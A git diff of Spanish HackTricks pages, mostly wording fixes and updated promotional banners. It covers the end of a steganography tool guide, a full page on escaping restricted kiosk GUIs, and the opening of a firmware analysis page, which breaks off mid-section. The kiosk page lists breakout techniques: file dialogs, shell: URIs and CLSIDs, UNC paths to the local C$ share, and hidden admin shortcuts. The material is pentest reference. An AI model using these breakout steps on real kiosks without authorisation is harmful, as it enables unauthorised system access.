@ -122,7 +123,7 @@ zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instal
|
|||
|
||||
**stegoVeritas** verifica metadatos, realiza transformaciones de imagen y aplica fuerza bruta LSB, entre otras características. Utiliza `stegoveritas.py -h` para obtener una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones.
|
||||
|
||||
**Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** aplica varios filtros de color para revelar textos ocultos o mensajes dentro de imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT para la detección de contenido oculto**
|
||||
|
||||
|
@ -141,9 +142,9 @@ Stegpy permite incrustar información en archivos de imagen y audio, admitiendo
|
|||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Herramientas Adicionales para Análisis de Imágenes**
|
||||
### **Herramientas adicionales para análisis de imágenes**
|
||||
|
||||
Para una exploración más detallada, considera visitar:
|
||||
Para una exploración más profunda, considera visitar:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Análisis de Nivel de Error de Imagen](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
|
@ -151,7 +152,7 @@ Para una exploración más detallada, considera visitar:
|
|||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Extracción de Datos de Audios**
|
||||
## **Extracción de datos de audios**
|
||||
|
||||
La **esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto.
|
||||
|
||||
|
@ -171,7 +172,7 @@ ffmpeg -v info -i stego.mp3 -f null -
|
|||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Es accesible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen:
|
||||
WavSteg destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -187,13 +188,13 @@ Una herramienta invaluable para la inspección visual y analítica de archivos d
|
|||
|
||||
### **Tonos DTMF - Tonos de marcación**
|
||||
|
||||
La detección de tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [este detector DTMF](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
La detección de tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [este detector de DTMF](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Otras Técnicas**
|
||||
|
||||
### **Longitud Binaria SQRT - Código QR**
|
||||
|
||||
Los datos binarios que al cuadrar dan un número entero pueden representar un código QR. Utiliza este fragmento para verificar:
|
||||
Los datos binarios que al cuadrar dan un número entero podrían representar un código QR. Utiliza este fragmento para verificar:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
|
@ -213,16 +214,17 @@ Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.co
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Escapando de los KIOSKs
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
|
@ -40,7 +41,7 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
|
||||
## Verificar posibles acciones dentro de la aplicación GUI
|
||||
|
||||
Los **Diálogos comunes** son esas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a funcionalidades de Explorador si puedes acceder a estas opciones:
|
||||
Los **Diálogos Comunes** son esas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a funcionalidades de Explorador si puedes acceder a estas opciones:
|
||||
|
||||
* Cerrar/Cerrar como
|
||||
* Abrir/Abrir con
|
||||
|
@ -56,7 +57,7 @@ Deberías verificar si puedes:
|
|||
* Acceder a áreas restringidas
|
||||
* Ejecutar otras aplicaciones
|
||||
|
||||
### Ejecución de comandos
|
||||
### Ejecución de Comandos
|
||||
|
||||
Tal vez **usando la opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell.
|
||||
|
||||
|
@ -75,9 +76,9 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi
|
|||
* **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta
|
||||
* **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Enlaces simbólicos**
|
||||
* **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Diálogo de Archivo/Abrir), CTRL-P (Diálogo de Impresión), CTRL-S (Guardar como)
|
||||
* Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **URIs de shell**: _shell:Herramientas Administrativas, shell:Bibliotecas de Documentos, shell:Bibliotecas, shell:Perfiles de Usuario, shell:Personal, shell:Carpeta de Búsqueda, shell:Sistemas, shell:Carpetas de Red, shell:Enviar a, shell:Perfiles de Usuarios, shell:Herramientas Administrativas Comunes, shell:Mi PC, shell:Carpeta de Internet_
|
||||
* **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Diálogo de Archivo/Abrir), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar como)
|
||||
* Menú Administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **URIs de Shell**: _shell:Herramientas Administrativas, shell:Bibliotecas de Documentos, shell:Bibliotecas, shell:Perfiles de Usuario, shell:Personal, shell:Carpeta de Inicio de Búsqueda, shell:Sistemas de Red, shell:Enviar a, shell:Perfiles de Usuarios, shell:Herramientas Administrativas Comunes, shell:Mi PC, shell:Carpeta de Internet_
|
||||
* **Rutas UNC**: Rutas para conectarse a carpetas compartidas. Deberías intentar conectarte al C$ de la máquina local ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Más rutas UNC:**
|
||||
|
||||
|
@ -127,11 +128,11 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
|
|||
* CTRL+SHIFT+ESC – Administrador de Tareas
|
||||
* CTRL+ALT+DEL – Pantalla de inicio en versiones más nuevas de Windows
|
||||
* F1 – Ayuda F3 – Búsqueda
|
||||
* F6 – Barra de direcciones
|
||||
* F6 – Barra de Direcciones
|
||||
* F11 – Alternar pantalla completa en Internet Explorer
|
||||
* CTRL+H – Historial de Internet Explorer
|
||||
* CTRL+T – Internet Explorer – Nueva pestaña
|
||||
* CTRL+N – Internet Explorer – Nueva página
|
||||
* CTRL+T – Internet Explorer – Nueva Pestaña
|
||||
* CTRL+N – Internet Explorer – Nueva Página
|
||||
* CTRL+O – Abrir Archivo
|
||||
* CTRL+S – Guardar CTRL+N – Nueva RDP / Citrix
|
||||
|
||||
|
@ -146,7 +147,7 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
|
|||
|
||||
#### 'Barra de Imagen'
|
||||
|
||||
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic en ella. Podrás Guardar, Imprimir, Enviar por correo electrónico, Abrir "Mis imágenes" en el Explorador. El Kiosk debe estar utilizando Internet Explorer.
|
||||
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic en ella. Podrás Guardar, Imprimir, Enviar por correo electrónico, Abrir "Mis Imágenes" en el Explorador. El Kiosko debe estar utilizando Internet Explorer.
|
||||
|
||||
#### Protocolo Shell
|
||||
|
||||
|
@ -171,7 +172,7 @@ Escribe estas URL para obtener una vista de Explorador:
|
|||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panel de Control
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi PC
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis sitios de red
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Sitios de Red
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### Mostrar Extensiones de Archivos
|
||||
|
@ -192,17 +193,17 @@ Fuente: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de1981
|
|||
|
||||
### Gestos y botones
|
||||
|
||||
* Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de inicio: Para ver la vista de multitarea y cambiar de aplicación
|
||||
* Desliza de un lado a otro con cuatro o cinco dedos: Para cambiar a la siguiente/anterior aplicación
|
||||
* Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio
|
||||
* Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de Inicio: Para ver la vista de multitarea y cambiar de aplicación
|
||||
* Desliza hacia un lado u otro con cuatro o cinco dedos: Para cambiar a la siguiente/anterior aplicación
|
||||
* Pellizca la pantalla con cinco dedos / Toca el botón de Inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio
|
||||
* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): Aparecerá el dock
|
||||
* Desliza hacia abajo desde la parte superior de la pantalla con 1 dedo: Para ver tus notificaciones
|
||||
* Desliza hacia abajo con 1 dedo en la esquina superior derecha de la pantalla: Para ver el centro de control del iPad Pro
|
||||
* Desliza 1 dedo desde el lado izquierdo de la pantalla 1-2 pulgadas: Para ver la vista de Hoy
|
||||
* Desliza rápidamente 1 dedo desde el centro de la pantalla hacia la derecha o izquierda: Para cambiar a la siguiente/anterior aplicación
|
||||
* Presiona y mantén presionado el botón de Encendido/Apagado en la esquina superior derecha del iPad + Mueve el deslizador de Apagar completamente hacia la derecha: Para apagar
|
||||
* Presiona el botón de Encendido/Apagado en la esquina superior derecha del iPad y el botón de Inicio durante unos segundos: Para forzar un apagado
|
||||
* Presiona el botón de Encendido/Apagado en la esquina superior derecha del iPad y el botón de Inicio rápidamente: Para tomar una captura de pantalla que aparecerá en la parte inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo brevemente, si los mantienes presionados unos segundos se realizará un apagado forzado.
|
||||
* Presiona y mantén presionado el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad +** Mueve el deslizador de **apagado** todo hacia la derecha: Para apagar
|
||||
* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio durante unos segundos**: Para forzar un apagado completo
|
||||
* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la esquina inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo brevemente, si los mantienes presionados unos segundos se realizará un apagado forzado.
|
||||
|
||||
### Atajos
|
||||
|
||||
|
@ -221,16 +222,16 @@ Debes tener un teclado para iPad o un adaptador de teclado USB. Aquí se mostrar
|
|||
| ↑ | Flecha Arriba |
|
||||
| ↓ | Flecha Abajo |
|
||||
|
||||
#### Atajos del sistema
|
||||
#### Atajos del Sistema
|
||||
|
||||
Estos atajos son para la configuración visual y de sonido, dependiendo del uso del iPad.
|
||||
|
||||
| Atajo | Acción |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Atenuar pantalla |
|
||||
| F2 | Aumentar brillo de pantalla |
|
||||
| F1 | Disminuir Brillo |
|
||||
| F2 | Aumentar Brillo |
|
||||
| F7 | Retroceder una canción |
|
||||
| F8 | Reproducir/pausar |
|
||||
| F8 | Reproducir/Pausar |
|
||||
| F9 | Saltar canción |
|
||||
| F10 | Silenciar |
|
||||
| F11 | Disminuir volumen |
|
||||
|
@ -244,7 +245,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
|||
| ⌘H | Ir a Inicio |
|
||||
| ⌘⇧H (Comando-Mayús-H) | Ir a Inicio |
|
||||
| ⌘ (Espacio) | Abrir Spotlight |
|
||||
| ⌘⇥ (Comando-Tabulador) | Listar las últimas diez aplicaciones usadas |
|
||||
| ⌘⇥ (Comando-Tabulador) | Lista de las últimas diez aplicaciones utilizadas |
|
||||
| ⌘\~ | Ir a la última aplicación |
|
||||
| ⌘⇧3 (Comando-Mayús-3) | Captura de pantalla (aparece en la esquina inferior izquierda para guardar o actuar sobre ella) |
|
||||
| ⌘⇧4 | Captura de pantalla y ábrela en el editor |
|
||||
|
@ -253,13 +254,13 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
|||
| ^⌥H (Control-Opción-H) | Botón de Inicio |
|
||||
| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea |
|
||||
| ^⌥I (Control-Opción-i) | Selector de elementos |
|
||||
| Escape | Botón de retroceso |
|
||||
| → (Flecha derecha) | Siguiente elemento |
|
||||
| ← (Flecha izquierda) | Elemento anterior |
|
||||
| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el elemento seleccionado |
|
||||
| ⌥ ↓ (Opción-Flecha abajo) | Desplazarse hacia abajo |
|
||||
| ⌥↑ (Opción-Flecha arriba) | Desplazarse hacia arriba |
|
||||
| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse hacia la izquierda o derecha |
|
||||
| Escape | Botón Atrás |
|
||||
| → (Flecha Derecha) | Siguiente elemento |
|
||||
| ← (Flecha Izquierda) | Elemento anterior |
|
||||
| ↑↓ (Flecha Arriba, Flecha Abajo) | Toca simultáneamente el elemento seleccionado |
|
||||
| ⌥ ↓ (Opción-Flecha Abajo) | Desplazarse hacia abajo |
|
||||
| ⌥↑ (Opción-Flecha Arriba) | Desplazarse hacia arriba |
|
||||
| ⌥← o ⌥→ (Opción-Flecha Izquierda o Opción-Flecha Derecha) | Desplazarse hacia la izquierda o derecha |
|
||||
| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver |
|
||||
| ⌘⇧⇥ (Comando-Mayús-Tabulador) | Cambiar a la aplicación anterior |
|
||||
| ⌘⇥ (Comando-Tabulador) | Volver a la aplicación original |
|
||||
|
@ -268,16 +269,16 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
|||
|
||||
| Atajo | Acción |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Comando-L) | Abrir ubicación |
|
||||
| ⌘L (Command-L) | Abrir ubicación |
|
||||
| ⌘T | Abrir una nueva pestaña |
|
||||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña actual |
|
||||
| ^⇥ | Cambiar a la siguiente pestaña |
|
||||
| ^⇧⇥ (Control-Mayús-Tab) | Moverse a la pestaña anterior |
|
||||
| ⌘L | Seleccionar el campo de entrada de texto/URL para modificarlo |
|
||||
| ⌘⇧T (Comando-Mayús-T) | Abrir la última pestaña cerrada (se puede usar varias veces) |
|
||||
| ⌘\[ | Retroceder una página en tu historial de navegación |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Mover a la pestaña anterior |
|
||||
| ⌘L | Seleccionar el campo de texto/URL para modificarlo|
|
||||
| ⌘⇧T (Command-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces)|
|
||||
| ⌘\[ | Retroceder una página en tu historial de navegación|
|
||||
| ⌘] | Avanzar una página en tu historial de navegación |
|
||||
| ⌘⇧R | Activar el Modo Lector |
|
||||
|
||||
|
@ -290,7 +291,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
|||
| ⌘W | Cerrar la pestaña actual |
|
||||
| ⌘R | Actualizar la pestaña actual |
|
||||
| ⌘. | Detener la carga de la pestaña actual |
|
||||
| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu buzón de correo |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Buscar en tu buzón de correo |
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -303,7 +304,7 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
|
@ -311,16 +312,17 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Firmware Analysis
|
||||
# Análisis de Firmware
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Introducción**
|
||||
|
||||
|
@ -20,7 +21,7 @@ El firmware es un software esencial que permite que los dispositivos funcionen c
|
|||
|
||||
## **Recopilación de Información**
|
||||
|
||||
La **recopilación de información** es un paso inicial crítico para comprender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
|
||||
**Recopilar información** es un paso inicial crítico para comprender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
|
||||
|
||||
* La arquitectura de la CPU y el sistema operativo que ejecuta
|
||||
* Especificaciones del cargador de arranque
|
||||
|
@ -31,11 +32,11 @@ La **recopilación de información** es un paso inicial crítico para comprender
|
|||
* Diagramas arquitectónicos y de flujo
|
||||
* Evaluaciones de seguridad y vulnerabilidades identificadas
|
||||
|
||||
Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manuales y automatizados. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
|
||||
Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manuales y automatizados. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar posibles problemas.
|
||||
|
||||
## **Adquisición del Firmware**
|
||||
|
||||
La obtención del firmware puede abordarse a través de varios medios, cada uno con su propio nivel de complejidad:
|
||||
